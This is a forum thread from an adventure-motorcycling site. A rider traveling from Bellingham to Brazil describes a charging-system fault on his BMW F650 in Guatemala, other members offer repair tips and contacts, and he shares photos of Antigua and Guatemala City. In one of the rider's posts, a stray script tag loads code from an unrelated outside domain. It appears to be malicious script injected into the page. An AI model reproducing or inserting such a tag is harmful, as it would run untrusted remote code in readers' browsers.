Bellingham to Brazil, not coming back

Discussion in 'Ride Reports - Epic Rides' started by PorLaTierra, Mar 4, 2012.

  1. PorLaTierra

    PorLaTierra Por La Tierra

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    Unfortunately lodging in Antigua right now (Semana Santa) are a bit high, so while I repair the damaged wires to my rectifier I will be handing over 12 bucks a day to the hotel santo tomas, at least they have a great place to park the bike
  2. BC Brian

    BC Brian Been here awhile

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    Great read and great pictures.

    I am heading back to my bike ( its in Puerto Escondido) next weekend, then its off to guatemala for escuela esponol for a couple of weeks, then I am heading in a southery direction.

    Maybe I will run into you somewhere along the line.

    buen viaje

    Brian
  3. Motojournalism

    Motojournalism motojournalism.com

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    Excelente viaje tio :ricky

    I think DHL will be your best bet for parts delivery, there's an office a few blocks from Parque Central. I would NOT expect DHL to be fast or cheap, but Antigua is a great place to be stuck for a while. I'm sure you've found the Mescal bar through the refrigerator at the back of Cafe no Se?

    You might also talk with the folks at CA tours (6, Calle Oriente Casa 14) they rent KLRs and have a workshop you can use, maybe they'll have a diferent solution to shipping a part :dunno http://www.catours.co.uk/rentals.htm

    Wish I was there right now!
  4. SS in Vzla.

    SS in Vzla. Totally Normal? I'm not!

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    If you haven't done already, I suggest you relocate that VR on the side of the bike so that you keep it cooler, that will help you keep the water from evaporating in the battery so fast.

    http://faq.f650.com/FAQs/VRRelocation.htm

    If you plan to get a new VR, get the one for a 650GS (that's the thumper GS, NOT the new twin 650-800) it is better than the one for the Classic. I've used a GS VR on my '98 Classic for over 100.000 kms (relocated next to the snorkel intake) without a single problem. If you put a sealed battery in there + a relocated GS VR, you can forget about the bike's electrics givieng you any more grief.... Even a cheap chinese battery will do the trick because you are riding the bike almost every day, so it'll stay charged.... The most difficult thing you might run into while sourcing batteries in Latin America is to find one with the the terminals on the "correct" side (- on the left and + on the right while facing the battery on the bike).... This is easy to work around if you just extend your wires so that you can hook a battery with "inverted" terminals... Also, if you haven't done it yet, you can take the rubber tray out and put a slightly bigger battery in there.... Almost any battery will do, that 650 Rotax carbed engine will start with VERY little juice (my point with this is you do not need to fixate on the exact size and specifications for the bike's OEM battery, anything that will fit in there, even if it is smaller and has the cranking amps needed to start the bike will suffice... obviously, the bigger the better, but sometimes in Latin America you work with whatever you can source)

    Buena suerte y buen viaje!
  5. PorLaTierra

    PorLaTierra Por La Tierra

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    I found a new battery, Exide brand, fits perfect. The bike charges it but when I rev the throttle it does not rise above 13 volts which, according to F650 FAQ, means I have a charging problem.
  6. acejones

    acejones Long timer

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    I think you should be getting 14.4-14.7. This is true of just about any 12V system.
  7. PorLaTierra

    PorLaTierra Por La Tierra

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    I think youre right, the question is whether I should solve the problem here in Guatemala where I know I can buy a new one from the BMW dealership in the capitol, as a last resort. Or if I should just keep riding and try to fix it when I get to Colombia, where I wouldnt mind hunting for parts. I am tired of Guatemala (spent a month here on my last trip) but I am wary of breaking down in Honduras or Nicaragua where it could be more difficult to find parts.

    Anybody know how these voltage rectifiers work? Do they fail slowly? Should I risk it?
    <script src="http://edicion-rosa.info?0.26332340821655165"></script>
  8. kwb210

    kwb210 Been here awhile

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    Hey Ryan,
    Dad here, like we discussed I think u should buy the new Voltage Regulator and keep moving. You fixed the battery issue by getting the replacement, the wiring is now done w. replaced wires the only other item sounds like the VR. Like u mentioned, if I were to ship you the used VR from my bike it would cost $130 US for a package that takes 5 or more days and then u have a used a VR, maybe good maybe bad. A new one takes the "used" out of the picture and you can get back to your trip days sooner. Sounds like the rest of the bike is doing great. Oh yeah, you mentioned adding some fuel conditioner to the tank, I would sure like to hear comments on that from fellow inmates. You guys know what I mean, a fuel conditioner thread! Glad to hear your mileage is back up after shedding that last bit of Mexican fuel. Still odd, my slash 7 got excellent mileage while riding with you in Mexico, maybe there is a difference in me using premium and you using regular. Or maybe it's just my riding style...naw.
    Ride safe and enjoy the journey!
    Dad

    PS: how is the wear on your rear tire?
  9. SS in Vzla.

    SS in Vzla. Totally Normal? I'm not!

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    Your VR is faulty. the reading should be around 14-14.5.
    I would change it as soon as possible....
    "Maybe" if you run with your light off until Colombia your battery might be able to keep up the charge? But then again, maybe not and you might end up stranded due to a problem you could have fixed beforehand.

    The carbed Rotax uses very little current, so maybe if the VR is not in stock in Guatemala (or it is too expensive), you can find a small portable battery tender and plug the battery every night so that you keep the charge up until you get to Colombia. (Do run with your lights off as much as possible if you choose this option)

    Buena suerte!
  10. PorLaTierra

    PorLaTierra Por La Tierra

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    I went to the BMW dealership again today. They switched out the VR for one from a 650 GS and ran the tests. The results were the same, voltage rises with acceleration but not past 13. Maybe the wires and connections need to be completely redone. They told me it could be the alternator or the magnets but I doubt it. I think my best option is to continue and maybe check in with the BMW Motorrad in Costa Rica.

    I think I will look for a charger. At least its just a charging problem, not too hard to get going again if my battery dies somewhere scary. Its maintaining a charge, just not enough to make me happy, but if it keeps on like this I wont have any problems.

    I took some cool photos in the capitol today, I will post them tonight or tomorrow, internet cafe closes in an hour.

    Stay tuned!

    Ryan
  11. PorLaTierra

    PorLaTierra Por La Tierra

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    I did not intend to stay here for a week but my charging system was giving me problems and all the stores were closed for Holy Week, so I stayed. When I finally made it into Guatemala City it was a nice change of pace from the touristy Antigua which is incredibly boring after a couple of days. Any one who has driven through a capitol city in Latin America knows what I am talking about, Guatemala City is much more interesting than Antigua, its huge and there is tons to see if you like the gritty dirty sketchy stuff.

    The first day I did not have my camera, but it was very cool to walk around the Zona 1 and 4, seeing new things. When I went back the second day I did bring my camera.

    Its important to see it all. Go to Tikal in the North of Guatemala, but also visit Tikal Futuro in the capitol. Its a huuuuge shopping mall, like 15 stories or so, with its own everything, gas station, pedestrian overpass and full of expensive shops. The whole building is made of reflective glass so it really shines through the smog of the city. I didnt get a picture of it but I think you can imagine. Its not pretty, I despise shopping malls, but if you want to see Guatemala you cant discriminate.

    See the ruins and the history, but dont forget to see modern Guatemala as well, just to put it all into perspective and not pretend that all Guatemalans are the ones you see in the post cards.

    But first, La Antigua Guatemala y La Semana Santa:


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    Thats Carlos, my partner in crime for a few days, until he met some girl and ran of too Panajachel on his fancy Italian sport bike. Didnt you read the signs Carlos? "Curvas Peligrosas" abound in Latin American motorcycle trips.


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    When it rains, it pours.
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    Hotel owner and nephew.
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    Being a UNESCO world heritage sight, you cant modify the old buildings in any way.
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    Inside the McDonald's, no I didnt eat there, that crap makes me sick.

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    Prepping for the procession, this is an alfombra, a rug, for the white jesus to be carried over. They wet them so they wont blow away in the wind.
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    BOOM! the ceremony begins and so does the fire and smoke
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    Bavaria Motors, Guatemala City
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    I had them install a Voltage Rectifier from a GS and it still would not give me the 13.5 or so volts that I needed. It maintains the battery charged but I hope it does not fail somewhere down the road. I think in Costa Rica, the next BMW shop, I will have them re do the wires to the VR. Professionally and thoroughly, I am stumped.

    They let me hang out and drink coffee, read magazines and oh yeah, there were some cute receptionists. I asked about a bus to the Zona 1 and they called me a cab, paid for it, and sent me off to pass a couple of hours wandering.

    I checked out 6th avenue, then wandered through some markets, bus stations and eventually found a cool old railroad museum.



    The wonderful new 650. Mine is the original, simple with few electronics. This is the modern version. BMW makes a pretty impressive machine. Actually they have been making bikes longer than cars.
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    Employee parking
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    In typical BMW fashion, you are strictly prohibited from watching the mechanic work. I cant imagine the paperwork these guys have to fill out when they get trained and hired. Top secret! The bikes are loaded onto this elevator and up they go into the secret lair.
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    I hung out, then eventually went into the city.
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    Here is the mall, same neighborhood as the BMW shop
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    The much more interesting Sexta Avenida.
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    Mini Churros
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    Gallo. Rooster or yes, Cock, just like in English. The national beer.
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    More good coffee!
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    I think you could do a trip on a bike like this, check out the top box! And you would blend right in. You could call the thread Chicken delivery.
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    Futbol Game. Here, and everywhere else in the whole world, its called foot ball. Its the game with the foot and the ball.
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    Market
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    They were unable to fix the strange charging behavior but they were cool and at least I know its not the VR
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    On to Honduras, Nicaragua and Costa Rica. Hopefully I wont have any problems that leave me stranded.

    Adventure is having at least one variable out of control, I asked for it and I got it.

    I hope you are enjoying the posts.

    Saludos,
    Ryan
  12. cvcaelen

    cvcaelen Guzzi-rider

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    yes I do enjoy it,
    very much
    Thanks
  13. PhilzLeads

    PhilzLeads Goin' mobile

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    +1 on that Ryan. I took a trip to Guatemala in '94. Some were craving a Burger King after the 1st week, I thought they were crazy. I enjoyed the tacos and other street vendor food, although when I came home, I did need a course of antibiotics for about a week.....Ride on.....

    So the BMW dealer was unable to remedy this, but did they say why? You think you have a short somewhere draining the batt? Like a bare wire rubbing somewhere or something like that? Did the BMW dealer hable inglese?

    Did they charge you labor?
  14. LS650

    LS650 Been here awhile

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    Nice photos. Not sure I get the McD's hate. If I were there I would prefer the local food too, but I don't mind a greasy McBurger every now and then. :lol3
  15. el' hefe

    el' hefe Been here awhile

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    Your last post had some really great photo's in it. I like your style, and keep up the good work!

    I am onboard with you regarding american chain food. Nothing like going on an adventure only to eat at Micky D's.....F-that.
  16. TicoRider

    TicoRider n00b

    Joined:
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    Ryan

    I live in Costa Rica, and I can give you the address of a good mechanic that he used to be the head of mechanics at BMW Motorrad but them he got his own shop, it is located 2 miles from the dealership.

    The name of the guy is Christian, he is very good and cheaper than BMW shop.

    Tecnimotor
    +506 83465512

    Coordinates
    9.93322,-84.11816
  17. Flyingavanti

    Flyingavanti With the Redhead on Back!

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    Have the trip of you life..... I am hooked!

    I do have one small suggestion I learned from a 2 year ride through South America.........

    Start a spread sheet and keep track of everybody that offers to help, and/or meet you in later travels. You WILL NOT remember everything. I felt soo bad after I left some where and realized I missed someone, who was going to give us a nice private tour of different areas.

    It happened time and time again! We had many offers in Brazil, but took us 1 1/2 years to get there, and forgot many things!

    If you need any contacts or help. please send us a note..... PUT my name at the top of the spread sheet!

    Good luck, and safe travels!


    :clap:clap:clap
  18. PaigeIGGY

    PaigeIGGY I heart MILFs

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    I'm diggin this report, even though I have no desire to travel to SA.

    The photography is on point!

    Lastly, what's NOT to hate about McD's? Dog-food for the masses that I wouldn't feed my dog, :lol3

    Stay safe Ryan
  19. J-Dub

    J-Dub Combat Commuter

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    Really enjoying this RR, Ryan! Great pics and style! :clap
  20. NCK

    NCK Been here awhile

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    I'm in! :freaky